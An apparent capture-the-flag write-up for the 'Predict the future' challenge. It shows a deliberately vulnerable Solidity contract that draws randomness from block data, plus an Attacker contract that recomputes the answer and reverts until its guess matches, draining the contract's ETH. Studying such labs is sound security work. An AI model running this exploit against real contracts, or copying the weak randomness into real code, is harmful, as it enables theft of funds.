Skip to content

Predict the future

pragma solidity ^0.4.21;

contract PredictTheFutureChallenge {
  address guesser;
  uint8 guess;
  uint256 settlementBlockNumber;

  function PredictTheFutureChallenge() public payable {
    require(msg.value == 1 ether);
  }

  function isComplete() public view returns (bool) {
    return address(this).balance == 0;
  }

  function lockInGuess(uint8 n) public payable {
    require(guesser == 0);
    require(msg.value == 1 ether);

    guesser = msg.sender;
    guess = n;
    settlementBlockNumber = block.number + 1;
  }

  function settle() public {
    require(msg.sender == guesser);
    require(block.number > settlementBlockNumber);

    uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;

    guesser = 0;
    if (guess == answer) {
      msg.sender.transfer(2 ether);
    }
  }
}

Goal

Guess the number to win and get all the ETH from the smart contract

Exploit

  1. create Attacker contract, and create instance from the PredictTheFutureChallenge contract inside the Attacker contract
  2. call lockInGuess() function from Attacker contract, this function will make external call to the lockInGuess() function inside PredictTheFutureChallenge contract, with 1 as argument for the n parameter

    • the guessing number should be in range from 0 to 9, since the equation for getting the answer uses % 10

  3. this step would probably need to be repeated: call takeTheMoney() external function inside Attacker, here we check if the answer will be equal to the previously locked in guess

    • if it is we call the seetle() function from PredictTheFutureChallenge contract
    • if it is not we revert the transaction, this allows us to stay in the game

Attacker contract code

contract Attacker {
  PredictTheFutureChallenge private predictFuture;

  function Attacker(address _predictFuture) public {
    predictFuture = PredictTheFutureChallenge(_predictFuture);
  }

  function lockInGuess() external payable {
    predictFuture.lockInGuess.value(msg.value)(1);
  }

  function takeTheMoney() external {
    uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
    require(answer == 1);
    predictFuture.settle();
  }
}